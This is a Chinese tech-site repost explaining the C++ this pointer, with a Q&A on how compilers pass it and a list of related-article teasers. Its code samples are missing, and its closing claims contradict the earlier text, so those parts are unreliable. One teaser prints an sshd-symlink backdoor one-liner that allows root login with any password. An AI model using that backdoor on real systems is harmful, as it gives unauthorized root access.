C++基礎之this指針的詳解

***************************************************

更多精彩,歡迎進入:http://shop115376623.taobao.com

***************************************************


關于C++中的this指針,建議大家看看這篇文章,《C++中的this指針》,供參考。

  this指針是一個特殊的指針,當類的某個非靜態的成員函數在執行時,就會存在this指針。它指向類的一個對象,且這個對象的某個成員函數正在被調用。

  this指針的名字始終是this,而且總是作為隱含參數傳遞給每一個被聲明的成員函數,例如:

  實際編程時函數的聲明不需要包含這個參數。

?

  當程序中調用某個對象的成員函數時,編譯器會把該對象的地址加入到參數列表中,感覺上就好象函數采用了上面所示的聲明,并且是用如下方式來調用的:

  靜態成員函數不存在this指針

?

  當調用某個對象的成員函數時,編譯器把對象的地址傳遞給this指針,然后再調用該函數。因此,成員函數你對任何成員的調用實際上都隱式地使用了this指針。

  1.以this指針作為返回值

  使this指針可以允許成員函數返回調用對象給調用者。前面的程序中重載賦值運算符沒有返回值,因此不能用如下的形式對字符串進行賦值:

  為了使重載的類賦值機制也能這樣方便,必須讓賦值函數返回賦值的結果,在這里就是目標對象。當賦值函數執行時,其返回值也恰好是this指針所指的內容。下面的程序對前面那個程序進行了修改,讓重載賦值運算符返回了一個Date對象的引用。

?

  2.在鏈表中使用this指針

  在應用程序中,如果數據結構里有指向自身類型的成員,那么使用this指針會提供更多的方便。下面的程序中建立了一個類ListEntry的鏈表。

  程序運行時,會提示輸入一串姓名,當輸入完畢后,鍵入\"end\",然后程序會逆序顯示剛才輸入的所有姓名。

?

  程中ListEntry類含有一個字符串和一個指向前一個表項的指針。構造函數從對中獲取內存分配給字符串,并把字符串的內容拷貝到內存,然后置鏈接指針為NULL。析構函數將釋放字符串所占用的內存。

  成員函數PrevEntry()返回指向鏈表前一個表項的指針。另一個成員函數顯示當前的表項內容。

  成員函數AddEntry(),它把this指針拷貝給參數的preventry指針,即把當前表項的地址賦值給下一個表項的鏈接指針,從而構造了一個鏈表。它并沒有改變調用它的listEntry對象的內容,只是把該對象的地址賦給函數的參數所引用的那個ListEntry對象的preventry指針,盡管該函數不會修改對象的數據,但它并不是常量型。這是因為,它拷貝對象的地址this指針的內容給一個非長常量對象,而編譯器回認為這個非常量對象就有可能通過拷貝得到的地址去修改當前對象的數據,因此AddEntry()函數在聲明時不需要用const。

  希望通過以上內容的介紹,能夠給你帶來幫助。

、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、

this指針只能在一個類的成員函數中調用,它表示當前對象的地址。下面是一個例子: void Date::setMonth( int mn ) { month = mn; // 這三句是等價的 
         this->month = mn; (*this).month = mn; } 1. this只能在成員函數中使用。
全局函數,靜態函數都不能使用this。
實際上,成員函數默認第一個參數為T* const register this。
如: 
class A{public: int func(int p){}};
其中,func的原型在編譯器看來應該是: int func(A* const register this, int p); 
2. 由此可見,this在成員函數的開始前構造的,在成員的結束后清除。
這個生命周期同任一個函數的參數是一樣的,沒有任何區別。
當調用一個類的成員函數時,編譯器將類的指針作為函數的this參數傳遞進去。如:
A a;
a.func(10);
此處,編譯器將會編譯成: A::func(&a, 10);
嗯,看起來和靜態函數沒差別,對嗎?不過,區別還是有的。編譯器通常會對this指針做一些優化的,因此,this指針的傳遞效率比較高--如vc通常是通過ecx寄存器來傳遞this參數。3. 回答
#1:this指針是什么時候創建的?
this在成員函數的開始執行前構造的,在成員的執行結束后清除。

#2:this指針存放在何處? 堆,棧,全局變量,還是其他?
this指針會因編譯器不同,而放置的位置不同。可能是棧,也可能是寄存器,甚至全局變量。

#3:this指針如何傳遞給類中函數的?綁定?還是在函數參數的首參數就是this指針.那么this指針又是如何找到類實例后函數的?
this是通過函數參數的首參數來傳遞的。this指針是在調用之前生成的。類實例后的函數,沒有這個說法。類在實例化時,只分配類中的變量空間,并沒有為函數分配空間。自從類的函數定義完成后,它就在那兒,不會跑的。

#4:this指針如何訪問類中變量的/?
如果不是類,而是結構的話,那么,如何通過結構指針來訪問結構中的變量呢?如果你明白這一點的話,那就很好理解這個問題了。
在C++中,類和結構是只有一個區別的:類的成員默認是private,而結構是public。
this是類的指針,如果換成結構,那this就是結構的指針了。#5:我們只有獲得一個對象后,才能通過對象使用this指針,如果我們知道一個對象this指針的位置可以直接使用嗎?
this指針只有在成員函數中才有定義。因此,你獲得一個對象后,也不能通過對象使用this指針。所以,我們也無法知道一個對象的this指針的位置(只有在成員函數里才有this指針的位置)。當然,在成員函數里,你是可以知道this指針的位置的(可以&this獲得),也可以直接使用的。

#6:每個類編譯后,是否創建一個類中函數表保存函數指針,以便用來調用函數?
普通的類函數(不論是成員函數,還是靜態函數),都不會創建一個函數表來保存函數指針的。只有虛函數才會被放到函數表中。
但是,既使是虛函數,如果編譯器能明確知道調用的是哪個函數,編譯器就不會通過函數表中的指針來間接調用,而是會直接調用該函數。# 7:這些編譯器如何做到的?8:能否模擬實現?
知道原理后,這兩個問題就很容易理解了。
其實,模擬實現this的調用,在很多場合下,很多人都做過。
例如,系統回調函數。系統回調函數有很多,如定時,線程啊什么的。舉一個線程的例子:
     class A
{
    int n;
        public:
        static void run(void* pThis)
   {A* this_ = (A*)pThis;this_->process();}
       void process(){}};main()
{A a;_beginthread( A::run, 0, &a );}這里就是定義一個靜態函數來模擬成員函數。也有許多C語言寫的程序,模擬了類的實現。如freetype庫等等。
其實,有用過C語言的人,大多都模擬過。只是當時沒有明確的概念罷了。
如:
typedef struct student{
int age;
int no;
int scores;
}Student;
void initStudent(Student* pstudent);
void addScore(Student* pstudent, int score);
...
如果你把 pstudent改成this,那就一樣了。它相當于:
class Student{
public:
int age; int no; int scores;
void initStudent();
void addScore(int score);
}const常量可以有物理存放的空間,因此是可以取地址的///this指針是在創建對象前創建.
this指針放在棧上,在編譯時刻已經確定.
并且當一個對象創建后,并且運行整個程序運行期間只有一個this指針

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/458984.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/458984.shtml
英文地址,請注明出處:http://en.pswp.cn/news/458984.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

xcode 開發ios兼容性問題的上下黑邊 和 coco2d-x 游戲分辨率適配 ResolutionPolicy::FIXED_WIDTH 都會引起上下黑邊問題!!!...

1:Xcode6在iPhone5iOS7模擬器上編譯,上下有黑邊問題 問題描述: Xcode6環境下,對iPhone5或iPhone5s模擬器,在iOS7或iOS7.1下運行,屏幕上下有黑邊。在iOS8下沒問題。 問題分析: 這種熟悉的場景又出…

如何用參數化SQL語句污染你的計劃緩存

你的SQL語句的參數化總是個好想法。使用參數化SQL語句你不會污染你的計劃緩存——錯!!!在這篇文章里我想向你展示下用參數化SQL語句就可以污染你的計劃緩存,這是非常簡單的! ADO.NET-AddWithValue ADO.NET是實現像SQL …

oracle values函數,Oracle文本函數簡介

Oracle文本函數使我們常用的函數,下面就為您介紹幾種Oracle文本函數的用法,供您參考學習,希望可以讓您對Oracle文本函數有更深的認識。(1)UPPER、LOWER和INITCAP這三個函數更改提供給它們的文體的大小寫。select upper(product_name) from pr…

c++ int *p = new int()

*************************************************** 更多精彩,歡迎進入:http://shop115376623.taobao.com *************************************************** int *anew int(120); 申請一個整型變量空間,賦初值為120,并…

Ios: 如何保護iOS束文件屬性列表,圖像,SQLite,媒體文件

Ios: 如何保護iOS束文件屬性列表,圖像,SQLite,媒體文件我創建了Hello World示例項目,然後添加data.plist文件到資源文件夾。現在人們可以很容易得到束文件解壓縮。國際音標。有任何的方法來保護data.plist文件保存在iPhone應用程序…

w3wp oracle,w3wp.exe占用CPU超過50%的處理

w3wp.exe占用CPU超過50%的處理1.查看CPU占用高的進程:任務管理器C:\Documents andSettings\Administrator>iisappW3WP.exe PID: 18008 AppPoolId: STATW3WP.exe PID: 8328 AppPoolId: STATW3WP.exe PID: 17868 AppPoolId: JYCV16W3WP.exe PID: 16652 AppPoolId: …

論兩種學習模式

引言 A:你是如何學習的,通過視頻、書籍和實踐結合?B:不是,一般情況是以一個問題為點去畫線和面。 兩種學習模式 按部就班方式獲取知識(通過書、視頻)缺點 信息接收者缺乏深度思考和探索信息發布者的知識體系不一定適合…

啟動mq命令 linux,RocketMQ:Linux下啟動server和broker的命令

目錄QUESTION:RocketMQ:Linux下啟動server和broker的命令?ANSWER:一、啟動mqnamesrv1.1當前執行1.2后臺運行二、啟動mqbroker2.1當前執行2.2后臺運行QUESTION:RocketMQ:Linux下啟動server和broker的命令?ANSWER:一、啟動mqnamesrv1.1當前執行進入rocke…

C++中int *p[4]和 int (*q)[4]的區別

*************************************************** 更多精彩,歡迎進入:http://shop115376623.taobao.com *************************************************** C中int *p[4]和 int (*q)[4]的區別 前者是指針數組,后者是指向數組的指針…

Spring筆記③--spring的命名空間

p:命名空間: xmlns:p"http://www.springframework.org/schema/p" 作用:簡化在xml配置bean的屬性 在<bean>中使用p:屬性名來配置 AOP:命名空間: xmlns:aop"http://www.springframework.org/schema/aop" xsi:schemaLocation: http://www.springframewo…

linux不用命令開啟ssh,不用密碼也能ssh登陸Linux?

Linux的一個后門引發對PAM的探究1.1 起因今天在搜索關于Linux下的后門姿勢時&#xff0c;發現一條命令如下&#xff1a;ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort5555;經典后門。直接對sshd建立軟連接&#xff0c;之后用任意密碼登錄即可。ssh rootx.x.x.x -p 5555這個是…

ScrollView常用(暫時用上了的)代理方法

2019獨角獸企業重金招聘Python工程師標準>>> ScrollView常用代理方法: #pragma mark - 滾動結束調用 -(void)scrollViewDidEndDecelerating:(UIScrollView *)scrollView {// 計算 滑動到了第幾頁double page scrollView.contentOffset.x / scrollView.width;self.p…

筆試題目匯總

C常考筆試題:不用if,while,do-while,for,打印出所有大于0小于k的整數.函數原型void printLess(int k); 解法一:遞歸方式(剛想出來) [cpp] view plaincopy #include <iostream> using namespace std; void printLess(int k) { switch(--k) { case 0:…

Android ListView性能優化實例講解

前言&#xff1a; 對于ListView&#xff0c;大家絕對都不會陌生&#xff0c;只要是做過Android開發的人&#xff0c;哪有不用ListView的呢&#xff1f; 只要是用過ListView的人&#xff0c;哪有不關心對它性能優化的呢&#xff1f; 關于如何對ListView進行性能優化&#xff0c;…

Bzoj 3289: Mato的文件管理 莫隊,樹狀數組,逆序對,離散化,分塊

3289: Mato的文件管理 Time Limit: 40 Sec Memory Limit: 128 MBSubmit: 1539 Solved: 665[Submit][Status][Discuss]Description Mato同學從各路神犇以各種方式&#xff08;你們懂的&#xff09;收集了許多資料&#xff0c;這些資料一共有n份&#xff0c;每份有一個大小和一…

linux頭文件 庫,Linux操作系統的頭文件和庫文件搜索路徑

一、 頭文件1 “”中的頭文件&#xff0c;在源文件當前目錄查找2 -I 中指定目錄 -I可以在CFLAG中指定3 gcc的環境變量 C_INCLUDE_PATH, CPLUS_INCLUDE_PATH, OBJC_INCLUDE_PATH4 編譯器預設路徑、內定目錄&#xff1a;/usr/include/usr/local/include/usr/lib/gcc-lib/i386-lin…

vs2010創建和使用動態鏈接庫(dll)

*************************************************** 更多精彩&#xff0c;歡迎進入&#xff1a;http://shop115376623.taobao.com *************************************************** 本文將創建一個簡單的動態鏈接庫&#xff0c;并編寫一個應用臺控制程序使用該動態鏈接…

通用二進制

通用二進制 通用二進制&#xff08;Universal binary&#xff09;是蘋果電腦公司提出的一種程序代碼&#xff0c;使程序能以本地程序的形式運行在使用PowerPC或者英特爾微處理器&#xff08;x86&#xff09;的麥金塔電腦上&#xff0c;在同一個程序包中同時為兩種架構提供最理想…

Python~win32com~Excel

import win32com.client#wwin32com.client.Dispatch("Word.Application") #w.Visible1owin32com.client.Dispatch("Excel.Application") o.Visible1 o.Workbooks.Add() o.Cells(1,1).Value"Hello"轉載于:https://www.cnblogs.com/lynclynn/p/530…

linux顯示光盤命令行,使用wodim在命令行下燒錄光盤

使用wodim在命令行下燒錄光盤發布時間:2009-02-27 16:23:11來源:紅聯作者:zhania作者&#xff1a;linuxtoy出自http://linuxtoy.org/archives/burning-cd-with-wodim.html我們以前介紹的 Linux 光盤燒錄工具多為圖形化的程序&#xff0c;今天來看看如何使用 wodim 在命令行下燒…